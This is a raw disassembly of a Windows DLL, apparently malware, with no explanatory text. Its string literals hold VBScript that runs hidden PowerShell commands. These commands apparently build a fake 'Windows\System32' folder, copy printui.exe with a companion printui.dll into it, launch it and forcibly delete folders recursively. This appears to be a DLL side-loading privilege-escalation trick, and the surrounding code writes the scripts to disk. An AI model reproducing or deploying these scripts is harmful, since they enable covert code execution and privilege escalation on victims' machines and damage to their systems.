mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x1b0]
mov r8, rax
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x330]
call fcn.1800599b0
nop
lea rcx, [rsp + 0xd0]
call fcn.1800065e0
nop
lea rcx, [rsp + 0xf0]
call fcn.1800065e0
nop
lea rcx, [rsp + 0xa0]
call fcn.1800065e0
lea rax, str.Set_WshShell__CreateObject__WScript.Shell___r_nWshShell.Run_Chr_34_______Chr_34___0_r_nSet_WshShell__Nothing
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], Ordinal_113
lea r8, [rsp + 0x250]
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x130]
call fcn.180026970
nop
lea rdx, [rsp + 0x330]
lea rcx, [rsp + 0x210]
call fcn.180005610
nop
lea rcx, [rsp + 0x570]
call fcn.180024a10
lea rdx, [rsp + 0x1d0]
cmp qword [rsp + 0x1e8], 7
cmova rdx, qword [rsp + 0x1d0]
lea rcx, [rsp + 0x570]
call fcn.180026410
mov rax, qword [rsp + 0x570]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x570], rdi
mov rax, qword [rsp + 0x570]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x56c], edx
cmp qword [rsp + 0x5f8], 0
je 0x1800559c5
lea rcx, [rsp + 0x210]
call fcn.1800067a0
mov r8, qword [rsp + 0x220]
mov rdx, rax
lea rcx, [rsp + 0x570]
call fcn.180025c50
lea rcx, [rsp + 0x570]
call fcn.180025b60
lea rdx, [rsp + 0x1d0]
call fcn.180059650
mov r9, qword [rsp + 0x140]
test r9, r9
jne 0x1800559fb
xorps xmm0, xmm0
movups xmmword [rsp + 0x150], xmm0
movdqa xmm1, xmmword [0x18016fc40]
movdqu xmmword [rsp + 0x160], xmm1
mov byte [rsp + 0x150], r9b
jmp 0x180055ac7
lea r8, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova r8, qword [rsp + 0x130]
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rsi, eax
mov rdx, rsi
xor r8d, r8d
lea rcx, [rsp + 0x110]
call fcn.180006860
lea rdx, [rsp + 0x110]
cmp qword [rsp + 0x128], 0xf
cmova rdx, qword [rsp + 0x110]
lea r8, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova r8, qword [rsp + 0x130]
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rdx
mov r9d, dword [rsp + 0x140]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0x150], xmm0
movups xmm1, xmmword [rsp + 0x120]
movups xmmword [rsp + 0x160], xmm1
lea rcx, [rsp + 0x460]
call fcn.180024a10
lea rdx, [rsp + 0x2b0]
lea rcx, [rsp + 0x460]
call fcn.180025c00
nop
cmp qword [rsp + 0x4e8], 0
je 0x180055b28
lea rcx, [rsp + 0x150]
call fcn.1800067a0
mov r8, qword [rsp + 0x160]
mov rdx, rax
lea rcx, [rsp + 0x460]
call fcn.180025c50
lea rcx, [rsp + 0x460]
call fcn.180025b60
nop
lea rcx, [rsp + 0x460]
call fcn.180024970
nop
lea rcx, [rsp + 0x150]
call fcn.1800067d0
nop
lea rcx, [rsp + 0x570]
call fcn.180024970
nop
lea rcx, [rsp + 0x210]
call fcn.1800067d0
nop
lea rcx, [rsp + 0x130]
call fcn.1800065e0
nop
lea rcx, [rsp + 0x330]
call fcn.1800065e0
jmp 0x180055cec
cmp eax, 1
jne 0x180055ce5
lea rdx, [rsp + 0x190]
lea rcx, [rsp + 0x130]
call fcn.180052620
nop
mov rdx, rax
lea rcx, [rsp + 0xd0]
call fcn.1800522b0
nop
lea rdx, [rsp + 0xf0]
mov rcx, rax
call fcn.180020830
nop
lea rdx, [rsp + 0xa0]
mov rcx, rax
call fcn.180020810
nop
lea rcx, str.Dim_objShell__objFSO__strSystemDrive_r_nSet_objFSO__CreateObject__Scripting.FileSystemObject___r_nstrSystemDrive__CreateObject__WScript.Shell__.ExpandEnvironmentStrings___SystemDrive____r_n_r_nSet_objShell__WScript.CreateObject__WScript.Shell___r_nobjShell.Run__explorer_..___r_n_r_nIf_Not_objFSO.FolderExists_strSystemDrive___Windows_System32010101___Then_r_n_tIf_objFSO.FolderExists_strSystemDrive___Windows_System32___Then_r_n_t_tobjShell.Run__powershell_Remove_Item__Path_____strSystemDrive___Windows___Recurse__Force___0__True_r_n_tEnd_If_r_n_r_n_tobjShell.Run__powershell_mkdir_____strSystemDrive___Windows_System32__Start_Sleep__Seconds_1__mkdir____strSystemDrive___Windows_System32010101__Copy_Item____strSystemDrive___WindowsSystem32printui.exe____strSystemDrive___Windows_System32printui.exe__Force__Start_Sleep__Seconds_1__Copy_Item_____strSystemDrive___Windows_System32printui.dll__Force__Start_Sleep__Seconds_5____0__True_r_n_r_n_tIf_objFSO.FileExists_strSystemDrive___Windows_System32printui.exe___Then_r_n_t_tIf_objFSO.FileExists_strSystemDrive___Windows_System32printui.dll___Then_r_n_t_t_tobjShell.Run__powershell_mkdir____strSystemDrive___Windows_System32_shrd_b___Start_Sleep__Seconds_3__Start_Process__FilePath____strSystemDrive__Windows_System32printui.exe____0__True_r_n_t_tElse_r_n_t_t_tobjShell.Run__powershell_Remove_Item__Path_____strSystemDrive___Windows___Recurse__Force___0__True_r_n_t_tEnd_If_r_n_tElse_r_n_t_tobjShell.Run__powershell_Remove_Item__Path_____strSystemDrive___Windows___Recurse__Force___0__True_r_n_tEnd_If_r_nEnd_If_r_n_r_nSet_objShell__Nothing_r_nSet_objFSO__Nothing
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], 0x66a
lea r9, [rsp + 0x310]
mov r8, rax
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x330]
call fcn.180059b10
nop
lea rcx, [rsp + 0xa0]
call fcn.1800065e0
nop
lea rcx, [rsp + 0xf0]
call fcn.1800065e0
nop
lea rcx, [rsp + 0xd0]
call fcn.1800065e0
nop
lea rcx, [rsp + 0x130]
call fcn.1800065e0
lea rdx, [rsp + 0x330]
lea rcx, [rsp + 0x210]
call fcn.180005610
nop
lea rcx, [rsp + 0x460]
call fcn.180024a10
lea rdx, [rsp + 0x2b0]
lea rcx, [rsp + 0x460]
call fcn.180025c00
nop
cmp qword [rsp + 0x4e8], 0
je 0x180055cbc
lea rcx, [rsp + 0x210]
call fcn.1800067a0
mov r8, qword [rsp + 0x220]
mov rdx, rax
lea rcx, [rsp + 0x460]
call fcn.180025c50
lea rcx, [rsp + 0x460]
call fcn.180025b60
nop
lea rcx, [rsp + 0x460]
call fcn.180024970
nop
lea rcx, [rsp + 0x210]
call fcn.1800067d0
nop
lea rcx, [rsp + 0x330]
call fcn.1800065e0
lea rdi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
lea r8, [rsp + 0x2b0]
mov rdx, r14
mov rcx, r15
call fcn.1800587f0
lea rdx, [r15 + 0x80]
lea rcx, [rsp + 0x2d0]
call fcn.180005610
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x350]
call fcn.1800c4f50
lea rdx, [rsp + 0x290]
cmp qword [rsp + 0x2a8], 7
cmova rdx, qword [rsp + 0x290]
lea rcx, [rsp + 0x350]
call fcn.180026410
mov rax, qword [rsp + 0x350]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x350], rdi
mov rax, qword [rsp + 0x350]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x34c], edx
cmp qword [rsp + 0x3d8], 0
je 0x180055dbb
lea rcx, [rsp + 0x2d0]
call fcn.1800067a0
mov r8, qword [rsp + 0x2e0]
mov rdx, rax
lea rcx, [rsp + 0x350]
call fcn.180025c50
lea rcx, [rsp + 0x350]
call fcn.180025b60
nop
mov rax, qword [rsp + 0x350]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x350], rdi
mov rax, qword [rsp + 0x350]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x34c], edx
lea rcx, [rsp + 0x358]
call fcn.180025ab0
mov rax, qword [rsp + 0x350]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x350], rax
mov rax, qword [rsp + 0x350]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x34c], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x3f8], rax
lea rcx, [rsp + 0x3f8]
call fcn.18008c880
nop
mov rdx, qword [rsp + 0x2e8]
cmp rdx, 0xf
jbe 0x180055e86
inc rdx
mov rcx, qword [rsp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055e81
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180056426
call fcn.18008ed30
movdqa xmm0, xmmword [0x18016fc40]
movdqu xmmword [rsp + 0x2e0], xmm0
mov byte [rsp + 0x2d0], 0
mov rdx, qword [rsp + 0x1c8]
cmp rdx, 7
jbe 0x180055ee7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055ee2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005642c
call fcn.18008ed30
movdqu xmmword [rsp + 0x1c0], xmm6
mov word [rsp + 0x1b0], bx
mov rdx, qword [rsp + 0x268]
cmp rdx, 7
jbe 0x180055f40
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055f3b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180056432
call fcn.18008ed30
movdqu xmmword [rsp + 0x260], xmm6
mov word [rsp + 0x250], bx
mov rdx, qword [rsp + 0x328]
cmp rdx, 7
jbe 0x180055f99
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x310]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055f94
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180056438
call fcn.18008ed30
movdqu xmmword [rsp + 0x320], xmm6
mov word [rsp + 0x310], bx
mov rdx, qword [rsp + 0x288]
cmp rdx, 7
jbe 0x180055ff2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055fed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005643e
call fcn.18008ed30
movdqu xmmword [rsp + 0x280], xmm6
mov word [rsp + 0x270], bx
mov rdx, qword [rsp + 0x308]
cmp rdx, 7
jbe 0x18005604c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180056046
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180056444
call fcn.18008ed30
nop
jmp 0x180056058
mov rdx, qword [rsp + 0x248]
cmp rdx, 7
jbe 0x1800560a0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18005609b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005644a
call fcn.18008ed30
mov qword [rsp + 0x240], rbx
mov qword [rsp + 0x248], 7
mov word [rsp + 0x230], bx
mov rdx, qword [rsp + 0x2a8]
cmp rdx, 7
jbe 0x180056104
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800560ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180056450
call fcn.18008ed30
movdqu xmmword [rsp + 0x2a0], xmm6
mov word [rsp + 0x290], bx
mov rdx, qword [rsp + 0x2c8]
cmp rdx, 7
jbe 0x18005615d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180056158
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180056456
call fcn.18008ed30
movdqu xmmword [rsp + 0x2c0], xmm6
mov word [rsp + 0x2b0], bx
mov rdx, qword [rsp + 0x1e8]
cmp rdx, 7
jbe 0x1800561b6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800561b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005645c
call fcn.18008ed30
mov qword [rsp + 0x1e0], rbx
mov qword [rsp + 0x1e8], 7
mov word [rsp + 0x1d0], bx
mov rdx, qword [rsp + 0x208]
cmp rdx, 7
jbe 0x18005621a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180056215
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180056462
call fcn.18008ed30
mov qword [rsp + 0x200], rbx
mov qword [rsp + 0x208], 7
mov word [rsp + 0x1f0], bx
mov rdx, qword [rsp + 0x1a8]
cmp rdx, 7
jbe 0x18005627e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180056279
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180056468
call fcn.18008ed30
mov qword [rsp + 0x1a0], rbx
mov qword [rsp + 0x1a8], 7
mov word [rsp + 0x190], bx
mov rdx, qword [rsp + 0x188]
cmp rdx, 7
jbe 0x1800562e2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800562dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005646e
call fcn.18008ed30
mov rcx, qword [rsp + 0x680]
xor rcx, rsp
call fcn.18008ed10
mov rbx, qword [rsp + 0x6e0]
movaps xmm6, xmmword [rsp + 0x690]
add rsp, 0x6a0
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
call fcn.1800a4178
nop
call fcn.1800a4178
nop
call fcn.1800a4178
nop
call fcn.1800a4178
nop
lea r8, [rsp + 0x130]
lea rdx, [rsp + 0x110]
lea rcx, [0x1801030d0]
call fcn.1800212b0
nop
call fcn.1800a4178
nop
call fcn.1800a4178
nop
call fcn.1800a4178
nop
call fcn.1800a4178
nop
call fcn.1800a4178
nop
call fcn.1800a4178
nop
call fcn.1800a4178
nop
call fcn.1800a4178
nop
lea r8, [rsp + 0x130]
lea rdx, [rsp + 0x110]
lea rcx, [0x1801030d0]
call fcn.1800212b0
nop
call fcn.1800a4178
nop
lea r8, [rsp + 0x130]
lea rdx, [rsp + 0x110]
lea rcx, [0x1801030d0]
call fcn.1800212b0
nop
shr rdx, 0x20
lea r8, [rsp + 0x110]
lea rcx, str.create_directory
call fcn.18002baa0
nop
call fcn.1800a4178
int3
call fcn.1800a4178
nop
lea r8, [rsp + 0x130]
lea rdx, [rsp + 0x110]
lea rcx, [0x1801030d0]
call fcn.1800212b0
nop
shr rdx, 0x20
lea r9, [rsp + 0x130]
lea r8, [rsp + 0x110]
lea rcx, str.copy_file
call fcn.1800522f0
nop
call fcn.1800a4178
nop
call fcn.1800a4178
nop
call fcn.1800a4178
nop
call fcn.1800a4178
nop
call fcn.1800a4178
nop
call fcn.1800a4178
nop
call fcn.1800a4178
nop
call fcn.1800a4178
nop
call fcn.1800a4178
nop
call fcn.1800a4178
nop
call fcn.1800a4178
nop
call fcn.1800a4178
nop
call fcn.1800a4178
nop
call fcn.1800a4178
nop
call fcn.1800a4178
int3